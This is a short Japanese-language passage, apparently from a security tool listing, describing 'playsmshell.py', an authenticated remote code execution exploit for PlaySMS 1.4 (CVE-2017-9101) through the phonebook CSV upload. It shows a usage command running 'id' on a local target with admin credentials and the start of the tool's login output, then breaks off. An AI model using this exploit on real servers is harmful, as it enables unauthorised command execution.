CVE-2017-9101

PlaySMS 1.4 認証済みRCE ExploitDB に記載されている Phonebook CSV アップロード問題を通じてリモートコード実行を行う簡単な方法です。 単一コマンドの実行： root@kitploit: % python3 playsmshell.py --url http://localhost/playsms --password playwithsms -c 'id' Grabbing CSRF token for login Attempting to login as admin + Logged in! Grabbing CSRF token for...